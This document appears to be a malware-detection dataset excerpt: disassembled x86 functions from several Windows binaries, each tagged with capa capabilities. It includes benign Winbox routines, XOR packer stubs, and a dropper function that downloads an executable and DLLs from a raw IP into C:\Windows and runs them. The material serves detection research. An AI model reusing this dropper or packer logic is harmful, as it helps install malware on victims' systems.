joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4cb430
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x5698d8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x5698d0]
sub esp, 4
test ebx, ebx
je 0x4cb485
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4cb47e
test esi, esi
je 0x4cb47e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4cb460
mov dword [esp], 0x5698d8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4ec0e4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [0x568840]
mov dword [esp + 8], 0x52914a
mov dword [esp + 4], 0x66
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
sub esp, 0xc
mov ebx, eax
mov dword [esp + 4], eax
mov eax, dword [0x568840]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push edx
mov esi, eax
mov eax, dword [0x568840]
push edx
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ecx
mov ebx, eax
push ecx
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
lea esi, [ebp - 0x20]
mov ecx, esi
mov dword [esp], eax
mov dword [esp + 4], ebx
call fcn.004c663a
push edi
push edi
lea edi, [ebp - 0x1c]
mov ecx, edi
mov dword [esp], str.RouterOS_Credits
call fcn.004c664a
push eax
mov dword [esp + 4], esi
mov dword [esp], edi
call sym.winbox.exe_createBigMessageBox_string_const__string_const_
mov ebx, eax
test eax, eax
je 0x4ec187
mov eax, dword [eax]
mov edx, dword [eax - 0xc]
add edx, ebx
inc dword [edx + 4]
mov ecx, edi
call fcn.004c641a
mov ecx, esi
call fcn.004c641a
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x18]
mov eax, dword [ebx]
mov ecx, dword [eax - 0xc]
add ecx, ebx
call fcn.00509a10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4ec388
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x20]
sub esp, 0x4c
mov dword [ebp - 0x3c], ecx
mov ecx, ebx
call fcn.004c731c
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], ebx
lea edi, [eax + 0xf8]
mov dword [esp], edi
call fcn.004a8a27
mov eax, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0x40], eax
cmp ebx, dword [ebp - 0x40]
je 0x4ec472
mov dword [esp + 4], str..viw
mov dword [esp], ebx
call fcn.004b17b6
test al, al
je 0x4ec46a
mov edx, str.settings.cfg.viw
mov eax, ebx
call fcn.004b0afc
test al, al
jne 0x4ec46a
mov edx, dword [ebp + 8]
mov ecx, 0x528d80
lea eax, [ebp - 0x28]
call fcn.004b0a36
mov ecx, ebx
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x24]
call fcn.004b0b14
mov eax, dword [ebp - 0x24]
mov ecx, 0x528d80
mov edx, edi
lea esi, [eax + 4]
lea eax, [ebp - 0x30]
call fcn.004b0a36
lea edx, [ebp - 0x30]
mov ecx, ebx
lea eax, [ebp - 0x2c]
call fcn.004b0b14
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], esi
mov dword [esp + 8], 3
add eax, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp - 0x2c]
sub esp, 0xc
call fcn.004c641a
lea ecx, [ebp - 0x30]
call fcn.004c641a
lea ecx, [ebp - 0x24]
call fcn.004c641a
lea ecx, [ebp - 0x28]
call fcn.004c641a
add ebx, 4
jmp 0x4ec3bc
lea ecx, [ebp - 0x24]
mov dword [esp], ecx
call fcn.004b1abf
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], 0x52926d
add eax, 4
mov dword [esp], eax
call sub.msvcrt.dll_fopen
lea ecx, [ebp - 0x24]
mov ebx, eax
call fcn.004c641a
test ebx, ebx
je 0x4ec4cc
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.004edf04
push eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], ebx
mov eax, dword [eax]
add eax, 4
mov dword [esp], eax
call sub.msvcrt.dll_fputs
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
lea ecx, [ebp - 0x20]
call fcn.004b2010
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4
Function at 0x4ef494
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea esi, [ebp - 0x2c]
lea edi, [ebp - 0x28]
push ebx
lea ebx, [ecx + 0xdc]
sub esp, 0x5c
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x1c]
call fcn.004c6580
lea eax, [ebp - 0x1c]
mov dword [esp], ebx
mov ecx, esi
mov dword [esp + 8], eax
mov dword [esp + 4], 0x200003f0
call fcn.0042786a
lea ecx, [ebp - 0x1c]
sub esp, 0xc
call fcn.004c641a
lea ecx, [ebp - 0x1c]
call fcn.004c6580
lea eax, [ebp - 0x1c]
mov dword [esp], ebx
mov ecx, edi
mov dword [esp + 8], eax
mov dword [esp + 4], 0x200003ef
call fcn.0042786a
lea ecx, [ebp - 0x1c]
sub esp, 0xc
call fcn.004c641a
mov eax, dword [ebp - 0x28]
cmp dword [eax], 0
je 0x4ef522
mov dword [esp + 4], esi
mov ecx, dword [ebp - 0x3c]
mov dword [esp], edi
call fcn.004eeb5c
push ebx
push ebx
jmp 0x4ef629
lea eax, [ebp - 0x1c]
lea ebx, [ebp - 0x24]
mov dword [esp], eax
call fcn.004b1a8e
mov eax, ebx
lea edx, [ebp - 0x1c]
call fcn.004b0efb
lea ecx, [ebp - 0x1c]
call fcn.004c641a
mov eax, dword [ebp - 0x24]
cmp dword [eax], 0
jne 0x4ef581
lea edi, [ebp - 0x20]
mov dword [esp], edi
call fcn.004a88cf
mov edx, edi
mov ecx, str.Addresses.cdb
lea eax, [ebp - 0x1c]
call fcn.004b0a36
lea eax, [ebp - 0x1c]
mov ecx, ebx
mov dword [esp], eax
call fcn.004c69a8
push ecx
lea ecx, [ebp - 0x1c]
call fcn.004c641a
mov ecx, edi
call fcn.004c641a
mov dword [esp + 4], esi
mov ecx, dword [ebp - 0x3c]
mov dword [esp], ebx
call fcn.004eeb5c
mov eax, dword [ebp - 0x24]
push edx
push edx
add eax, 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
cmp eax, 0xffffffff
jne 0x4ef617
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x4ef621
lea ebx, [ebp - 0x20]
mov dword [esp], ebx
call fcn.004a88cf
mov edx, ebx
mov ecx, str.winbox.cfg
lea eax, [ebp - 0x1c]
call fcn.004b0a36
lea eax, [ebp - 0x1c]
call fcn.004b0e46
lea ecx, [ebp - 0x1c]
call fcn.004c641a
mov ecx, ebx
call fcn.004c641a
jmp 0x4ef621
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
lea ecx, [ebp - 0x24]
call fcn.004c641a
lea ecx, [ebp - 0x28]
call fcn.004c641a
lea ecx, [ebp - 0x2c]
call fcn.004c641a
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x50bb90
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, ecx
lea ecx, [ebp - 0x30]
sub esp, 0x4c
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004c751c
mov esi, dword [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x30]
sub esi, eax
mov dword [esp], eax
call fcn.004c9c73
cmp esi, eax
jne 0x50bbda
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x30]
mov edx, 1
lea ecx, [ebp - 0x30]
add eax, eax
cmove eax, edx
mov dword [esp], eax
call fcn.004c7590
push eax
mov eax, dword [ebp - 0x2c]
lea esi, [ebp - 0x28]
lea edx, [eax + 1]
mov dword [ebp - 0x2c], edx
mov byte [eax], 0
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebx]
mov dword [esp], ebx
mov eax, ecx
mov dword [esp + 4], ecx
mov ecx, esi
not eax
add eax, dword [ebp - 0x2c]
mov dword [esp + 8], eax
call dword [edx + 0xc]
lea ecx, [ebx + 0x34]
sub esp, 0xc
mov dword [esp], esi
call fcn.004c69a8
mov ecx, esi
push edi
call fcn.004c641a
mov eax, dword [ebx + 0x34]
cmp dword [eax], 0
je 0x50bc46
mov ecx, dword [ebx + 0x18]
or eax, 0xffffffff
test ecx, ecx
je 0x50bd43
mov eax, dword [ecx]
mov dword [esp], 0
call dword [eax + 8]
or eax, 0xffffffff
push ebx
jmp 0x50bd43
mov eax, dword [ebx + 0xc]
mov edi, dword [ebx + 8]
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x30], 0
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], edi
je 0x50bd39
mov eax, dword [edi + 0xc]
mov dword [esp + 4], edi
lea ecx, [ebp - 0x28]
mov dword [esp], ebx
mov dword [ebp - 0x3c], eax
call fcn.0050badc
mov eax, dword [ebp - 0x28]
push edx
push edx
add eax, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ecx
mov esi, eax
lea ecx, [ebp - 0x28]
call fcn.004c641a
inc esi
je 0x50bd27
mov dword [esp + 4], edi
lea ecx, [ebp - 0x28]
mov dword [esp], ebx
call fcn.0050b820
push eax
push eax
mov eax, dword [ebp - 0x28]
add eax, 4
mov dword [esp + 4], 0x528dd4
mov dword [esp], eax
call sub.msvcrt.dll_fopen
lea ecx, [ebp - 0x28]
mov esi, eax
call fcn.004c641a
test esi, esi
je 0x50bd27
lea eax, [ebp - 0x28]
mov dword [esp + 8], esi
mov dword [esp + 4], 0x10
mov dword [esp], eax
call sub.msvcrt.dll_fgets
mov dword [esp], esi
mov dword [ebp - 0x44], eax
call sub.msvcrt.dll_fclose
mov ecx, dword [ebp - 0x44]
test ecx, ecx
je 0x50bd27
lea eax, [ebp - 0x34]
mov dword [esp + 4], 0x529254
mov dword [esp + 8], eax
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sub.msvcrt.dll_sscanf
dec eax
jne 0x50bd27
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x34]
jne 0x50bd27
mov byte [edi + 0x10], 1
jmp 0x50bd31
mov byte [edi + 0x10], 0
mov eax, dword [edi + 8]
add dword [ebx + 0x30], eax
add edi, 0x14
jmp 0x50bc5d
mov ecx, ebx
call fcn.0050bd5c
mov eax, dword [ebx + 0x30]
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x3c], eax
call fcn.004c7456
mov eax, dword [ebp - 0x3c]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4
Function at 0x50c664
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x2c
mov eax, dword [ecx]
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov dword [esp + 8], 1
mov dword [esp + 0xc], eax
mov dword [esp + 4], edi
mov dword [esp], esi
call sub.msvcrt.dll_fread
mov edx, eax
xor eax, eax
dec edx
jne 0x50c6b8
mov ecx, dword [ebx + 4]
mov al, 1
test ecx, ecx
je 0x50c6b8
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], esi
mov byte [ebp - 0x19], al
call fcn.004ba0d4
mov al, byte [ebp - 0x19]
sub esp, 0xc
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 8

Function at 0x50c744
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x2c
mov ecx, dword [ecx + 4]
mov edx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
test ecx, ecx
je 0x50c7ad
lea eax, [esi + 0xf]
mov edi, esp
shr eax, 4
shl eax, 4
call fcn.004cba40
sub esp, eax
lea eax, [esp + 0x10]
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [ebp - 0x1c], eax
mov dword [esp], edx
call fcn.004ba0d4
mov edx, dword [ebx]
sub esp, 0xc
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], esi
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov esp, edi
dec eax
sete al
jmp 0x50c7cb
mov eax, dword [ebx]
mov dword [esp + 8], 1
mov dword [esp + 4], esi
mov dword [esp + 0xc], eax
mov dword [esp], edx
call sub.msvcrt.dll_fwrite
dec eax
sete al
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x5109a8
Capabilities:
Get common file path

Disassembly:
push ebp
lea eax, [ecx + 0x3c]
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x222]
lea esi, [ebp - 0x11d]
push ebx
mov ebx, ecx
mov ecx, eax
sub esp, 0x25c
mov dword [ebp - 0x23c], eax
call fcn.004a1dd0
mov byte [ebx + 0x10a4], 0
mov dword [esp + 4], edi
mov dword [esp], 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push eax
push eax
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0
mov dword [esp + 4], 0x527cee
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea ecx, [ebx + 0x1094]
sub esp, 0x10
mov dword [esp], esi
call fcn.004c693e
push eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1201bf
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebx + 0x109c], eax
sub esp, 0x1c
inc eax
je 0x510b22
mov dword [ebx + 0x108c], 2
lea ecx, [ebp - 0x228]
lea esi, [ebp - 0x22c]
mov dword [ebx + 0x10a0], 0
mov dword [esp], str.Downloading...
call fcn.004c664a
mov ecx, ebx
add ebx, 0x1090
push eax
lea eax, [ebp - 0x228]
mov dword [esp], eax
call fcn.0051081c
lea ecx, [ebp - 0x228]
push edx
call fcn.004c641a
mov edi, dword [ebx + 0xc]
mov dword [esp], str.http:__upgrade.mikrotik.com_routeros_winbox_
mov ecx, esi
call fcn.004c664a
push ecx
mov ecx, esi
mov dword [esp], ebx
call fcn.004c67c8
lea ecx, [ebp - 0x228]
push ebx
mov dword [esp], esi
call fcn.004c65c6
lea ecx, [ebp - 0x228]
push eax
mov dword [esp], str._winbox.exe
call fcn.004c6800
mov ecx, dword [ebp - 0x23c]
push eax
lea eax, [ebp - 0x228]
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.004a21c0
lea ecx, [ebp - 0x228]
push eax
push eax
call fcn.004c641a
mov ecx, esi
call fcn.004c641a
mov dl, 1
jmp 0x510b24
xor edx, edx
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1abc103b
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x47236d3c
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x2eb76030
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x5c63229f
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401270
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push esi
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
push 0
push 0
push str.C:WindowsSystenm.exe
push str.http:__23.248.217.155:6311_Client.exe
push 0
call esi
push 0
push 0
push str.C:Windows1.bin
push str.http:__23.248.217.155:6311_23.248.217.155_86.bin
push 0
call esi
push 0
push 0
push str.C:WindowsClientBase.dll
push str.http:__23.248.217.155:6311_ClientBase.dll
push 0
call esi
push 5
push 0
push 0
push str.C:WindowsSystenm.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop esi
ret

Function at 0x401400
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x401429
pop edi
pop ebx
pop ebp
ret
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40143f
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401436
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x401472
nop
cmp esi, ecx
jae 0x401436
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x401460
cmp esi, ecx
jae 0x401436
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401407
Capabilities:
Terminate process

Disassembly:
push ebx
mov eax, 0x1fbb0
mov ebx, 0x12345678
mov ecx, 0x12345678
mov edx, 0x12345678
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [section..data], eax
jmp loc.0047b432
Function at 0x403d93
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x569180]
cmp dword [ebp + 8], 0
je 0x403dbe
test eax, eax
je 0x403db2
mov dword [esp], eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push ecx
mov dword [0x569180], 0
jmp 0x403e28
test eax, eax
je 0x403dd1
mov dword [esp], 0
call fcn.00409056
push edx
jmp 0x403e28
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [0x555120]
jbe 0x403e28
mov eax, dword [0x572d88]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x403cd8
mov dword [esp + 8], 0
mov dword [esp + 4], 0x6f
mov dword [esp], eax
call dword [sym.imp.USER32.dll_CreateDialogParamW]
sub esp, 0x14
mov dword [0x569180], eax
mov dword [esp + 4], 5
mov dword [esp], eax
call dword [sym.imp.USER32.dll_ShowWindow]
push eax
push eax
leave
ret
Function at 0x407b2c
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea eax, [ebp - 0x38]
lea edi, [ebp - 0x2c]
push ebx
sub esp, 0x3c
mov esi, dword [ebp + 8]
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], 0x40001
mov dword [ebp - 0x28], 0x40c890
mov dword [ebp - 0x24], 0x40c890
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0x40c880
mov dword [ebp - 0x38], 0xc
mov dword [ebp - 0x30], 0
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edx
push edx
test eax, eax
je 0x407b89
xor eax, eax
jmp 0x407bb6
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0xb7
jne 0x407bb6
mov dword [esp + 8], edi
mov dword [esp + 4], 0x80000007
mov dword [esp], esi
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityW]
sub esp, 0xc
test eax, eax
jne 0x407b85
call ebx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4

Function at 0x407bee
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [0x934500], 0x44
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], 0x934500
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x4000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
sub esp, 0x28
xor eax, eax
test edx, edx
je 0x407c6c
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov eax, dword [ebp - 0x18]
leave
ret 4

Function at 0x407c70
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x3c
mov dword [eax + 0x24], 0
pop ebp
jmp dword [sym.imp.SHELL32.dll_ShellExecuteExW]

Function at 0x407ee8
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
inc eax
push edx
je 0x407f16
mov eax, ebx
mov dword [esp], esi
and eax, 0xfffffffe
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
push eax
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 4

Function at 0x407f21
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov dword [esp], ebx
call fcn.00407ee8
push ecx
cmp eax, 0xffffffff
jne 0x407f42
xor edi, edi
jmp 0x407f7f
mov dword [esp], ebx
mov esi, eax
test edi, 1
je 0x407f77
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push edx
test eax, eax
jne 0x407f70
and edi, 4
jne 0x407f3e
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
push eax
jmp 0x407f7f
mov edi, 1
jmp 0x407f7f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x407f55
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x408309
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x30
mov eax, dword [ebp + 0x18]
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 0x10], 0x40000
test eax, eax
je 0x408327
mov eax, 0x100
or eax, 0x20019
lea edx, [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00408245
sub esp, 0x10
test eax, eax
je 0x408357
mov word [ebx], 0
jmp 0x4083ac
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], eax
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
mov eax, dword [ebp - 0x14]
sub esp, 0x18
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
mov word [ebx + 0x3fffe], 0
test esi, esi
jne 0x408350
mov eax, dword [ebp - 0xc]
dec eax
cmp eax, 1
ja 0x408350
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret 0x14